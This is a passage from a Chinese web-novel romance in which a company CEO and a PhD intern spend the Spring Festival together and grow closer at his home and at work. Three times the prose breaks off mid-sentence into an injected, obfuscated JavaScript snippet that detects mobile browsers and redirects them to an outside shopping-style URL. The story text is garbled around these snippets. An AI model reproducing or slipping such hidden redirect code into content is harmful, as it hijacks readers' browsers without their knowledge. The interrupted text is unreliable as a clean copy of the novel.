但昨晚睡前,谈霄收到了周若飞远隔重洋给他发的“压岁钱”,而周若飞比张行川还小上两三岁。 那么在谈霄的理解里,张行川给自己发压岁钱,就合情还合理。 他不客气地收了那红包,说:“谢谢总裁。” 张行川说:“大过年的,还是在家里,就不要这么称呼我了。” 谈霄想了一想,应该是像称呼周若飞一样,遂改口:“谢谢哥哥。” 张行川在私人时间里,比起不着调的周若飞,更像一位邻家大哥哥。 “你这?”张行川没想到谈霄会这么叫人,好笑道,“上次我被人这么叫,对方是我表姐的六岁女儿。” 那小萝莉第一次见张行川,家长让她叫人,她不认识张行川,也不等家里人教,跑过去抱住张行川的腿,甜甜地就叫了“哥哥”。 是个和谈霄一样的嘴甜小孩儿。 谈霄是在中国生活很多年,但是极度缺乏亲戚往来的人际经验,搞不太清楚中国亲戚们的称呼,还认真想了想,说:“那她不是应该叫你叔叔吗?还是舅舅?反正怎么也不应该叫你哥哥。” “她不应该,你是应该叫我哥哥。”张行川心想这真不是什么大事,就把话题强拉回到拜年上来,道,“新年快乐。” 谈霄收到了红包,快乐地回道:“恭喜发财!” 新年第一餐,张行川煮了水饺和汤圆,摆好在餐桌上,又把水果和干果也拿来摆好。 “我给我父母打个视频拜下年,”他对谈霄说,“很快,打完就开饭。” 谈霄坐在客厅沙发上,也在有一搭没一搭地参与同学群里的拜年接龙,答道:“好,应该的。” 张行川给父母看他新年的早饭,意思是自己有认真吃饭,也有好好过年。 刚说了两句话,他爸爸就说约了人喝茶打牌,很快就从那边消失了。 澳洲时间已经接近中午,明摆着是在等张行川的拜年电话,等到了才放心出门。可见是一位口是心非的中国老爸。 张行川又和他妈妈说了几句日常对话。 谈霄听到他妈妈在视频那一端问了句:“今年还是一个人啊?” 接着谈霄就看到张行川皱起了眉,显然对这问题很不喜欢。 谈霄心想,哦?原来总裁也会被催婚。 “不是一个人,”张行川确实很烦被父母提这事,瞥见在客厅里的谈霄,蓦然生出一个恶作剧的好点子,回答妈妈的问题道,“今年有个崽崽跟我一块过年。” 他用了一种家乡话的表达,在方言里,崽崽,是亲昵地指代小孩儿。 什么崽崽?哪个崽崽?谈霄这么想,抬头看张行川,和张行川对上了视线。 谈霄指了指自己,啊我吗? 张行川的诡计进行中,笑着问他道:“崽崽,介意我把镜头翻转,让江女士看看你吗?” 放在平时,这要求肯定是有那么一点无礼,但这毕竟是过年,谈霄在张行川妈妈面前就是上门做客的小小晚辈,没有拒绝的道理。 加上他本人没有任何社恐,跟朋友的妈妈问候拜年,很简单的小事一桩。谈霄点了点头,表示可以。 张行川点了视频通话的镜头翻转,从前置摄像头改为了后置,正对着客厅里的谈霄。 谈霄对着iPad挥了挥手,礼貌地说:“阿姨好,新年快乐。” 张行川的妈妈戴着老花镜,本来和儿子聊天还满脸笑容,听说有“崽崽”来家里,自动理解是张行川养了宠物。不然总不能是张行川忽然间就有了人类幼崽吧?而且用“崽崽”指代宠物,也是常有的事。 她还等着张行川翻转镜头后,就能看到可爱的小猫或小狗。 结果冷不丁!客厅里怎么有一个好看的年轻男孩子? 江女士一下宕了机,几秒钟没有任何动作和语言。 张行川心里明镜似的,知道计谋奏了效。他就是被催婚有点烦,整点无伤大雅的小玩笑来反将妈妈一军,装模作样地问:“嗯?是网速不好吗?卡了?” 谈霄没明白张行川的阴谋诡计,还在沙发上礼貌地招财猫挥手,闻言问道:“怎么了,卡住了吗?” iPad终于发出江女士的声音:“你好……过年好。” 张行川介绍说:“他叫谈霄,正在清大读博。” 江女士又哽了几秒,才说:“还在上学啊?好,好好好。” 谈霄觉得自己这样远远和人打招呼,有点不太礼貌,便起身过去,走到了张行川这边来。 张行川带了个年轻男孩回家过年这一事实,已把江女士惊得灵魂出窍。 而张行川恶作剧得逞,忍笑忍得有点辛苦。他看谈霄过来了,朝旁边让出了点空间,让谈霄和他一起入镜,好给江女士看得更清楚。 谈霄看到了iPad屏幕上的江女士,不由啧啧惊叹,好有气质的阿姨,张行川的眉眼和她很像,她年轻时必定也是位绝色大美人。 张行川已把摄像头翻转了回来。他是坐在餐桌边和家里人通话,谈霄挨着站在他身旁,稍微低下身子,为了全脸入镜,两人两张脸之间的距离不足一寸。 从江女士那边的视角看,这俩人简直像在拍情侣大头照。 谈霄很开朗地重新问好:“过年好!阿姨,我家离北京有点远,过年就来打扰张……打扰行川哥哥了。” 他本来想说“张总”,但这称呼实在生分。脱口而出的新称呼,又肉麻得过了头。 张行川也被麻了一下,无语地看着谈霄。 谈霄察觉到了,略觉不好意思,也对张行川笑了笑。 江女士没眼再看下去这画面,头晕眼花地把老花镜摘了,精神涣散地说:“新年快乐,你们先吃饭吧,有空再说。” 张行川挂断了视频,谈霄到旁边的餐椅上坐了,说:“阿姨真漂亮,气质也好。” “当然了,是我的妈妈。”张行川对这赞美欣然受之,又说,“不好意思,突然叫你和她说话,我也是临时起意,应该事先和你打声招呼才对。” 谈霄不在意地说:“你不叫我,我也想来的,过年给长辈拜年是理所应当的事。” 一个小插曲过去,张行川示意谈霄可以开饭,介绍早餐:“饺子是阿姨提前包好冻在冰箱里,三鲜馅儿,汤圆是速冻品,黑芝麻馅儿。” 谈霄选了饺子。 吃过饭,谈霄主动收拾了碗筷。张行川开始思考今天两人做点什么,或是去哪里玩。 等谈霄从厨房里出来,却向张行川辞行,不想打扰张行川的新春活动,要回学校去了。 张行川又挽留了他。 “你也看到了,家里的阿姨这两天放假,”张行川说,“我反正要下厨做饭,两人份还更容易做。” 谈霄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215839|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“你不需要走亲访友吗?也有人会来你家拜年的吧。” 张行川上下看他,语气震惊地说:“崽崽,难道你把行川哥哥的朋友圈屏蔽了吗?” “哪有?我只是很少刷朋友圈。”谈霄立刻拿出手机,点开张行川的朋友圈查看。 前天下午问程总裁办开始放春节假,张行川在当天傍晚时发了一条状态: 春节闭门休息,节后再聚,祝各位骐骥驰骋,万象更新。——问程 张行川 “我好奇很久了,”谈霄说,“你们企业家发个人公告,为什么都这么像用AI写的?” 张行川认真道:“我只是向AI老师学习了周到的说话技巧。” 谈霄朝他竖了个大拇指。 张行川一年到头,难得有这三天清闲,父母近亲都不在北京,他更不想再忙于人际应酬。 于是谈霄也不再推辞,愉快地留下和张行川一起把年过完。 张行川提议出去玩,还把去哪里玩的决定权交给谈霄。 谈霄却说:“你有想玩的吗?我可以陪你去,如果让我选,我更想在家里待着玩手机。” 初一这天,营业场所休息的休息,不休息的可玩处,也大多都是人山人海。 “想去环球影城玩吗?”张行川想到了合适去处,提议道,“今天游客应该不多。” 谈霄说:“是很少,去年的今天我去玩了,项目可以连刷好几次,你想去吗,我可以陪你去。” 张行川道:“那算了,换个地方。” “要去故宫吗?有年我一早去了故宫,早点到,人也不多。”谈霄看了看表,遗憾地说,“现在过去有点迟了,十点以后故宫即将被一亿人攻打。” 张行川也没了主意。谈霄说:“你去年的今天做了什么?和别人去玩什么了吗?” “没有,没别人,我也懒得出门。”张行川指了指外面,说,“勤勤恳恳种了点花。” 谈霄顺着他指的方向看过去。 这房子的中空客厅有一面六米高的落地窗,窗外是个小花园,现在冬天里,只有光秃秃的草皮。 但这花园明显是精心设计过,砖石砌得错落有致,不同区域也换了不同的花土,是个有在认真营业的花园。 谈霄道:“这也是前房主,那个画家留下的吗?” 张行川道:“不是,以前是个玻璃房,画家当艺术空间用的,对我来说没什么用,我就拆了,改成了花园。” “花呢?”谈霄问,“去年不是勤勤恳恳种了吗?不喜欢,又都清理掉了?” 张行川道:“没有,勤勤恳恳地种错了,全死完了。” 谈霄哈哈大笑。 张行川无奈道:“找专业人士请教过,是我种花的时机不对,有些球茎类应该秋天就种下,有些扦插就要等到四月份再插才好。吸取了教训,去年秋天就已经种了点芍药球茎,也不知道能不能开花,等天暖和起来,有空的话我再试试种点别的。” 谈霄点了点头,说:“那,就祝你和你的花都花开富贵吧。” 张行川觉得这养护花草的事有点像老年人爱好,大概谈霄也不感兴趣,就不再说,问道:“不出去的话,在家里玩也是可以的,游戏机在楼上。” 谈霄一跃而起:“好耶!” 最后两个人在家里打了一天塞尔达。 上市公司总裁和三年级博士平时都忙得不可开交,终于在春节假里无所顾忌打游戏,打得废寝忘食。 那既然说到食。 7.第 7 章 上集说到食。 张行川做饭非常难吃。 他挽留谈霄的时候说了他要做饭,其实他的做饭手艺,只比他的理发手艺好上一丁点。 什么?您问他怎么还会理发?他完全不会理发,所以是说他掌握的厨艺也少得可怜。 学霸总裁的执行力还是相对及格,对着网上找到的菜谱,他能做到照本宣科地把食材做熟,该放的调料都放进去。过程全对,结果是色香味一样不沾。 万幸谈霄刚好是个口腹之欲很淡的人,尤其又是来做客,主人给什么他就吃什么,完全不挑,也不剩饭。 两人打游戏到傍晚,张行川照着菜谱,做了两盘海鲜烩饭,在厨房里装盘时还自鸣得意,小小烩饭,易如反掌。 等端了出来,给谈霄一盘,他自己一盘。动勺子尝了一口……难吃得总裁想吸氧。 谈霄把自己那盘烩饭吃得干干净净。 张行川有点怀疑这崽崽的味觉是不是有毛病。 谈霄并不是不喜欢美食,只是日常果腹就对食物味道没那么在意。 而且张行川系着围裙做饭,谈霄坐在餐桌边等开饭,极大地满足了谈霄的某种精神需求,这场景也太有家味了,烩饭固然难吃,氛围才是千金难得。 他本来就很喜欢张行川这个人,现在原本的喜欢里还新增了些情感投射,私下里张行川真是一位可爱且温柔的邻家大哥哥。 大哥哥做饭也真是难吃,太难吃了。 晚上两人又继续打游戏。 张行川的手机放在一边,时不时有消息进来,他都只随意看上一眼,今天来往的都是拜年消息,可回可不回,要回的也不急在一时半刻。 中途有一次提示消息进来,他又看了眼。 谈霄注意到,他这一次目光停留在屏幕上的时间,比看其他消息要久一点。 “是重要的消息?”谈霄说,“要回复吗?” 张行川道:“我爸。” 问他有没有事,要给他打视频。 晚上没再各自单机打塞尔达,换了双人成行一起玩。 谈霄说:“那你先回复,我等你。” 张行川猜测肯定是听江女士说了他带个男孩回家的事,要在视频里当面批斗他生活作风有问题。就有点不想理这老头。 想了想,这大过年的。他还是对谈霄说:“我去回个电话,你自己先玩。” 谈霄道:“好。” 张行川到隔壁房间去打电话。 这房子隔音还算不错,谈霄安安静静地玩手机,只能模糊听到一点张行川和人对话的声音。 张行川很少大声说话,也很爱笑,没什么脾气,就像一只情绪稳定的卡皮巴拉。 谁知过了几分钟,谈霄突然听到隔壁卡皮巴拉和人吵嚷了起来。 咦?张行川和他爸爸吵起来了? 谈霄竖起耳朵,绝不是八卦,只是想听卡皮巴拉如何吵架。 张行川是和他爸爸视频通话,视频外放的声音本来就比较大,父子两人对喷起来,音量也都放大了许多。 “别以为有几个钱你就了不起了,不能过好自己生活的人,将来都是国家的负担!” “那你就是为了不给国家当负担,才移民去澳大利亚的吗?” “轮不着你管我!” “那你也少管我。” “这几年我管过你吗?你都三十六了,还不成家,我说过一句吗?” “你正在说。” “我都懒得说,你那高中女同学,已经在美国结婚有了孩子,你们已经没有可能了……” 声音戛然而止。张行川把视频挂了。 谈霄:天菩萨,我听到了什么? 在海外已婚有小孩的女同学?总裁还真有这么一位白月光? 片刻后,张行川回来了,拿起手柄继续打游戏。 “没事吧?”谈霄问,“不是我故意听,你和你爸吵架声音很大。” “他疯了,”张行川道,“墨尔本风水不好。” 谈霄悄悄观察他的表情,被爸爸无情地戳了“痛处”,他也只是毒舌了一句,好像并没有伤心和愤懑的情绪。 谈霄当然也没有过白月光,只看过一些影视剧和狗血小说,所以张行川这表现,对吗? 后面打游戏的过程中,谈霄开始心不在焉,他很好奇张行川是什么心理状态,还能在这里悠哉悠哉地打游戏。 “你一直看我做什么?”张行川发现了,奇怪道,“我脸上有什么?” “……”谈霄说,“惊人的美貌。” 张行川说:“你这个小马屁精。” 谈霄道:“行川哥哥,你都快笑出花来了,敢说不喜欢我这么赞美你吗?” 张行川笑了出来,心情也明朗了起来。 他和老头吵了一架,谈不上生气,多少也真有点心烦。 老头一通输出,质疑他是否找了个男大学生当情人。 他本来就是故意的,也不做解释,只说:“我有分寸。” 老头又一通输出,角度刁钻地找茬。 很早之前张行川就明白了他的行为逻辑,执意移民有一部分原因也是为了逃避,不能接受自己在国内的社会地位丧失,以及在家庭中一家之主的易位,分水岭事件就是退休。 张行川是在鼓励教育中长大,一路成长为人格健康的优秀大学生、留学生、程序员、创业才俊、民营企业家,到三十来岁当上了阳光快乐型总裁,结果老父亲一退休性情大变,突然开始没事就PUA他。 到此为止,张行川还是左耳朵进右耳朵出,听一听就算了,正月初一尽量不要动气。 老头偏偏又提起那位已婚女同学。多少年前的事了,张行川早就对他们说过那是捕风捉影的无稽之谈,偏偏还要提起。 和面目可憎的老头比起来,谈霄崽崽真是可爱得没边了。 张行川暗想,将来如果有了孩子,要怎么做才能养成谈霄这个样子,聪明可爱,性格还好,如果这真是自家崽崽,他愿意当咸鱼,那势必倾其所有也要让他当一条最快乐的咸鱼。 已经玩到了近十一点,张行川把手柄一丢,说:“睡觉了,今天就和崽崽玩到这里吧。” 大体还算祥和的年初一过去,初二早上,谈霄多睡了一会儿,起床时候已经九点多,来人家做客还睡懒觉,他也怪不好意思,匆忙洗漱出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221795|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一看,恰好张行川正要出门,难得一见不是高仿公务员OOTD,而是穿了一身运动服。 “我以为你要睡到中午了,”张行川道,“我打算出去跑步。” 谈霄说:“那我也去,昨天打一天游戏,出去透透气。” 张行川找出一身买回来还没穿过,但已清洗好的运动服,给了谈霄。 两人身高相近,张行川肩要宽一些,他的正装衬衣不适合谈霄,会大,运动服却没这样的问题。 谈霄去换了衣服。 张行川站在玄关处,边看手机边等谈霄,听到人出来,眼睛从手机上挪过来,上下打量谈霄。 他本质还是一个直男程序员,秋冬私服深色居多,运动服也都是一身黑,他自己穿着不觉得如何,给谈霄穿了,虽然也好看,毕竟谈霄长这样,套个塑料袋也好看,但这身也还是颜色沉闷,不能把谈霄的靓丽气质完全彰显出来。 谈霄也看看张行川,张行川穿起运动服,一点不像企业家,像个搞田径的运动员,窄胯长腿,一看就很会跑步。 谈霄开玩笑说:“这好像情侣装。” 张行川收了手机,一本正经道:“那怎么不能是亲子装?” “你不要占我便宜。”谈霄做了个手刀打人的动作,其实并不生气。 他和身在瑞士的亲爹关系生疏得紧,那位奸猾刻薄还无趣,当真不及行川哥哥半分。 张行川的家离跑步圣地奥林匹克森林公园,非常之近。 总裁本身是跑步爱好者,读书的时候当地或就近城市有马拉松赛事,他有时间就会去跑一下,后来工作忙碌,也坚持健身运动,用健身器械总觉得不如跑步更身心舒畅。 他本来认为谈霄会觉得无聊,打算陪跑一会儿,等谈霄不想跑了就回家,或是在奥园呼吸下新鲜空气,聊聊天也好。 意外的是谈霄很会跑,节奏很好,肢体和呼吸都很科学,跑姿相当漂亮,南园环湖五公里,他很轻松就和张行川一道跑了下来。 两人在湖边稍事休息,喝了点水。 “刚出门怎么还跟我装菜鸡,”张行川拍了下谈霄的背,触感微潮,也有身体透出的热意,这让张行川怔了下,立刻收回手,继续道,“明明是个资深老跑家。” 谈霄也看出张行川起初有看轻他,才也配合地装作对跑步一无所知,环湖五公里也闷不做声,就为了这一刻。 “我参加过两届清大校园马拉松。”谈霄道。 难怪打脸爽剧那么多受众,这真的很爽。 谈霄酷酷且装装地说:“一次半马一次全马,大二拿了半马铜牌,研一那次,我是全马的第六名。” 张行川配合地惊叹:“失敬失敬。” 谈霄把脸转过去看湖景,怕自己不小心笑出来。那就太小人得志了。 “我只在清大读了本科,也只参加过一次校马,”张行川道,“2010年全马男子组,我是冠军。” “……”谈霄险些破防,假装没听见,拔腿跑了。 浅浅伤害了下谈霄的情感,张行川决定放过他的嘴巴。 从奥园回去,洗澡换过衣服,张行川叫上谈霄出门,去吃人该吃的饭。 8.第 8 章 张行川带谈霄来的这家餐厅也是预约制,特色是广东早茶,正月初二的午饭档口,一早就没了空位,张行川提前联系过客户经理,在线预充值了一笔钱,到店就顺利得到一个预留包间。 上菜后,谈霄试吃几道,都十分满意,说:“这家我还没来过,粤菜我喜。” 张行川观察后发现他喜欢甜口,又加了蛋挞和陈皮红豆沙。 “我还以为你舌头坏掉了,”张行川道,“原来能吃得出好坏。” 总裁偶尔嘴巴也很坏。 谈霄并不惯着他,说:“晚上我可能需要烧一点纸钱。” 张行川莫名其妙道:“什么?” 谈霄叹息一声,说:“昨晚那盘海鲜烩饭里的小海鲜们,想来肯定是死不瞑目,我心里过意不去,要给它们超度超度。” 张行川正握着筷子,想用筷子戳谈霄,又考虑到上面有食物油渍,最终忍住了。 谈霄为自己的味觉严正发声:“我的舌头超灵敏的。” 服务员刚倒了泡好的茶,是很香的凤凰单枞,谈霄心里还在得意,也没留神,端起来就喝,被茶水结结实实烫了一下,忙放下茶杯,用手给口腔扇风降温。 张行川请服务员倒了杯凉白开送过来。 谈霄含了会儿凉水,痛感渐渐过去,没什没大事。 他自嘲道:“吃饭能把嘴巴烫到,我真是太搞笑了。” 张行川这才用幸灾乐祸的语气说:“这下灵敏的舌头是真的坏掉咯。” 谈霄也用欢欣鼓舞的语气道:“太好了,行川哥哥今晚再下厨,崽崽我啊,也吃不出有多难吃啦。” “……”张行川决定抽空精进一下厨艺。 吃过饭回家去,午后的太阳晒得人暖洋洋,这两天北京天气出奇得好,初二当天正是雨水,春天还在踏步而来,但体感真就已经像在过四月天。 车载音响里在播放《Scarborough Fair》,副驾的谈霄随着旋律吹起了口哨,心情明媚如这漫天的阳光。 张行川驾车驶过挂满了灯笼中国结的节日街头。这真是极其惬意的一个春节。 年初三,问程总裁办复工,总裁特助嘉欣按时到岗,过了好一会儿,旁边实习生谈霄的工位还空着。 因为谈霄在年后就要去金融事业部,金融事业部的业务和旅游出行不直接相关,要到初八才正常开工。谈霄在初八前来或不来都可以。 特助以为他可能就不来了,还有一点遗憾和不舍。 她刚处理了些邮件,就见谈霄脚步匆匆从外面进来,看到她就笑着抱歉:“回学校拿笔记本了,迟到了会儿。” 他一早离开张行川家,回了趟学校,换身衣服,也要拿工牌和电脑。 特助道:“过年是出去玩了吗?” “没有。”谈霄当然不会说是在总裁家过了年,道,“朋友邀请我去他家里过年了。” 特助姐姐拿这男大实习生当小弟弟,促狭地问:“是女朋友还是男朋友啊?” 谈霄目光真挚地答道:“是一位美貌真诚还大方的好朋友。” 看他不愿细说,特助也很有边界感地没再追问,从包里拿了个红包给他,说:“马年大吉!” 谈霄双手接了,道:“恭喜发财!” 张行川来得比较晚,到公司后先去了趟技术部,后又去了产品部,关注业务,也关心加班的同事,饼画了几个,红包也发了几波,到十一点多才上楼来。 复工第一天,总裁办同事们各有各的事情做,没几个人在工位,谈霄周围没人,他帮特助改了几个报表,也没别的事,就在那里摸鱼写起了自己的论文。 张行川走到他身后看了一会儿,他也没察觉。 他早上走得早,也没让张行川送,回学校是换了一身职场新人皮肤,浅色半高领打底衫,外面套了件丹宁衬衣,青葱活泼,也很适合当下的实习生身份。 这人上班和出去玩是两种不同风格的look,来上班就有上班的样。 过年他穿的那件孔雀蓝丝绒珍珠衬衫,配了黑色拖地裤,如果是路遇陌生人这么穿,直男程序员张行川当场就要犯潮人恐惧症。 不过谈霄个人气质突出,皮肤白得发光,头发黑得发亮,脸好看,个子高,穿得潮些,也是人穿衣,不会被衣服的华彩掩盖人的光芒,就是很漂亮。 小男同是天然就会比较时髦吗?还是谈霄个人格外很会打扮。 张行川能观察的男同样本很少,也是很难得出准确的结论。 他没惊动谈霄,看了会儿径自走了。 谈霄这时察觉到了,一回头,只看到总裁走进办公室的背影。 总裁刚坐在自己办公桌后,收到了谈霄的微信消息。 谈霄:刚刚我是被总裁抓到带薪摸鱼了吗? 张行川抬头看外面,谈霄在工位上朝他挥了挥手机。 谈霄很快也收到张行川的回复:总裁不会向HR打你的小报告。 谈霄独自在工位上乐了一会儿。 他也没再骚扰总裁,复工第一天事情必然很多。 张行川确实很忙,企业家们本来也普遍都是闲不住的性格,过年他给自己放了三天假,也意外得到了三天桃源般的体验。 现在一回到公司,总裁迅速切换回了卷王状态,对工作的渴望已经突破了天际。 如此到了年初八,谈霄收拾东西,去了金融事业部。 等张行川有了空,想起来的时候,发现谈霄那个临时工位上,已经换了总裁办新招的另一个年轻人。 张行川透过隔断玻璃,望着那换了人的工位,心里升腾起那么一点点怅然若失。 谈霄正被金融事业部的孙副总教着做事。 这位孙副总他以前见过,来问程当实习生后,和张行川第一次在电梯偶遇那天,和张行川在一起的就是孙副总。 谈霄这时候过来,寒假实习已经过半,孙副总着实想不到什么合适的岗位安放他。 倘若是普通实习生,随便塞点工作就行,但这是张行川的关系人,从总裁办空降而来,也许是来替总裁当耳报神也未可知。 孙副总感觉交给别人也不妥当,索性自己带着。 问程有一位酷爱当伯乐的话事人,因此公司上下的整体风气就是用人唯贤。 孙副总也是位实干家,藤校MBA,有华尔街经历,工作能力优秀,是个雷厉风行的人物。 谈霄跟着他做了几天事,还算喜欢他,孙副总哪里都好,就是脾气差,阴晴不定,还有点被害妄想症,明明工作做得很好,这性格也很容易招人烦。 那谈霄肯定还是更喜欢张行川。 虽然他甘于当咸鱼,本质还是很爱学习,脑子也是真聪明,没几天在孙副总这里也如鱼得了水。 孙副总起初还怀疑张行川不安好心,他不是问程初创团队的成员,是问程上市后才加入,对张行川这个人的了解还没那么深刻,天生疑心重,暂时还没发现张行川的负面行径,但就是经常怀疑总裁有可能面善心黑。 缜密观察了谈霄几天,孙副总发现这清大金融准博士是真好用,专业能力毋庸多言,人还特别有眼力,会办事,会说话,在部门里人见人爱,带去其他部门谈事,也特别能给金融事业部挣面儿。 总裁把这么一个实习生交到他手里,肯定是对金融事业部和他本人充满了信任。 所以总裁应该还是个好总裁。 张行川也听说了,谈霄在新岗位表现很好,连总是用阴暗视角看世界的孙副总,都给与了谈霄很阳光的评价。 他有时想见见谈霄,没有什么合适的机会和理由。 总裁没事就把一个实习生叫到办公室来说小话,影响总归也不是太好。 眨眼元宵节到了。 张行川收到了谈霄发的微信消息:元宵节快乐! 这可能是没有诚意的群发,他没有立即回复。 谈霄很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224780|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快又发了一条:餐厅今天有汤圆,你吃过了吗?我打包一份带上去给你吧。 张行川这才回复他:没在公司,出来办事,午饭在外面吃。 谈霄:哦好吧。 张行川:最近怎么样?金融事业部好玩吗? 谈霄:还可以,我也有很多东西要学习,谢谢总裁关心我的工作。 张行川又没有了动静。 谈霄等了会儿,看看对话框,怀疑是否自己的用词太生分,总裁不想理他。 他已经发现了,张行川很吃嘴甜那一套。 谈霄:我跟你开玩笑的,哥哥。 张行川是有电话进来就先接了,等讲完电话以后再看微信……谈霄这是在哄他吗?倒反天罡了崽崽。 谈霄在员工餐厅里独自就餐,饭已经吃完了,有点无聊地等着张行川回他消息。 他其实有点想念张行川,有心找张行川玩,又知道张行川没多少空。 张行川回复了他:接了个电话,元宵节快乐。 谈霄想了想,还是想去找他玩。 谈霄:下午回公司吗?等下班我能去楼上找你玩吗? 张行川今天出去办事,商务车正在赶路。 他坐在后排,漫不经心把谈霄的消息逐字读了,开始思考这两天的工作预约,想想从哪能挤出一个空档来。 手机屏幕亮得久了自动熄灭,等他要回谈霄消息时,就在黑掉的屏幕上看到了在微笑的一张帅脸。 你笑得好不值钱啊张行川。他自我评价地想道。谈霄找你玩就有这么开心吗? 张行川:明天吧,中午去我办公室,一起吃午饭。 谈霄:好耶,明天见! 第二天上午,十一点半,张行川忙完了安排好的事,专门空出了一大块午饭时间,等谈霄上来找他。 谈霄来赴约,开心地上了楼来,遇到特助姐姐,还在外面聊了会儿天,才来敲张行川办公室的门。 张行川在隔断玻璃里已经看见他在那里和特助说话,隔音很好,听不到声音,看口型知道是“嘉欣姐”“嘉欣姐”地叫了半天,不知具体说了什么。 刚才总裁就已经让送了两人份的工作餐上来,就放在一旁。 谈霄一进门就说:“好香,今天什么菜?我要饿扁了。” 他在这办公室也当了一阵子总裁特助的“特助”,还帮行政小姐姐给张行川送过总裁餐,和员工餐厅自助餐比起来也没有更奢华,只是搭配健康一些。 张行川说:“那你还磨蹭了好半天。” 谈霄过来坐下,冤枉道:“我哪有磨蹭?一下班就立刻上来了。” 张行川心想,我都看到了,看到了知道吗。 “刚才和嘉欣在聊什么,”总裁不自觉地说起了酸话,“聊那么开心。” 谈霄听出来一点,没往深处听,以为张行川在和他开玩笑,解释说:“嘉欣姐的弟弟想学击剑,我有用不到的装备,答应送他了。” 张行川说:“你还学过击剑?” 谈霄说:“一点点。” 清大有击剑社,张行川是知道的,问:“你是击剑社的吗?” “不是,”谈霄说,“不是在学校社团学的,是以前无聊学来玩的。” 是以前每年寒暑假他回欧洲家里,被安排了许多无聊课业,其中就有击剑课程。 张行川脑海中自动联想谈霄穿击剑服,握花剑的模样,应该也会很帅。 “现在不玩了吗?”张行川微觉遗憾,说,“装备怎么也要送人?” 谈霄说:“偶尔还是会玩一下,嘉欣姐的弟弟才十岁,我用不到的二号剑和配套防护服可以送他。” “你练重剑啊。”张行川有点诧异,业余击剑玩家多半是从花剑入门。 谈霄也有点诧异,没想到张行川还懂这个。不过这是张行川,懂什么也都不奇怪。 他现在对张行川有种很盲目的认可,可以说是一款张行川全肯定。 9.第 9 章 “是练重剑,我练得很一般,”谈霄并非自谦,不好意思道,“也参加过比赛,从来没有拿过任何名次。” 张行川说:“下次如果再参赛,请我去看看?” “好啊。”谈霄欣然道。 他在自己擅长的,能装一下的事上,就很能装,也爱装。 但他也很能接受自己在某些事上天赋不足和成绩不佳,犯不上没本事还硬装。就像击剑这事,他确实就是练得不好,却也不耻于暴露人前。 张行川有兴趣去看,他也欢迎张行川去看他如何很帅地登场,又如何很菜地被打败。 谈霄又说:“不过你哪有时间?你这个约会都只能在办公室吃盒饭的总裁。” “……”张行川语塞住了。 约会这词,意义广泛,未必就非得是狭义那一种。 谈霄拿起筷子吃饭,总裁的盒饭还算是丰盛,四菜一汤,配了甜品和水果。 “你提前约我,我就有时间。”张行川如此说道。 他说这话时,很明确谈霄在他这里,已经得到了特别的地位和优先级待遇。 谈霄倒不至于产生受宠若惊之类的感受,当然还是开心的。 张行川于他而言,也是位很特别的朋友,如果张行川有事找他的话,他也愿意给张行川插队在其他事前面的特权。 他现在看看张行川,欲言又止。 张行川道:“怎么了?有话就说。” 谈霄笑着调侃他道:“你刚才说话,还真有点霸道总裁那味儿了。” “有没有可能,”张行川拗了个高冷脸,说,“我本来就是霸道总裁。” 谈霄点头表示认可了。 实际上心想,霸道在哪?你个卡皮巴拉总裁。 又过了几天,张行川有事出差,去了外地。 他出门的时间里,清大开了学,谈霄的寒假实习结束了。 谈霄回归了校园,重新三点一线,过着充实简单的生活。 张行川从外地出差回来后,两人也没有见过面。 张总很忙,谈博士也不清闲。 偶尔张行川会给谈霄发很简短的微信,问问日常情况,谈霄看到就会秒回,他自己很少主动打扰张行川。 张总虽只是一个年薪千万的普通打工总裁,工作也足以占据他生活里的大部分时间和空间。 这天是周六,谈霄又在图书馆搞他的博士论文,其实已经完成了,导师也说没什么问题,下周就送盲审。 谈霄在绝大多数上都无欲无求,对自己的学业极具负责心,在论文一事上,只要还没交稿,他就忍不住要打开,找茬一样不停地挑毛病,然后一遍一遍改,一直改到送稿前的最后一刻。 有的博导天天三催四请,让自家孩子快点写好好写认真写,孩子还装死不回消息。 谈霄的老板就很少操这种闲心,反而是有时谈霄给他发消息太频繁,他要装死好几天。 谈霄今天来经管图书馆,想找一本文献书籍,想不起准确的书名了,到书架上去翻找类似名字的书,找了好多本,都不是他要找的那一本。 他的手机留在座位上充电。有认识的同学拿着他的手机过来,在书架后找到他,轻声提醒说:“你导给你打电话,振动好几轮了。” 谈霄也轻声道了谢,拿过手机一看,不是导师,因为来电人显示“霸道总裁”,同学以为这是他在通讯录里给导师老板起的花名儿。 除了未接电话,还有微信消息,每条间隔二十分钟。 张行川:有事吗?找你玩 张行川:在睡觉? 张行川:看到回我消息 谈霄不再急着找书,快步出去,到楼道里打了回去。 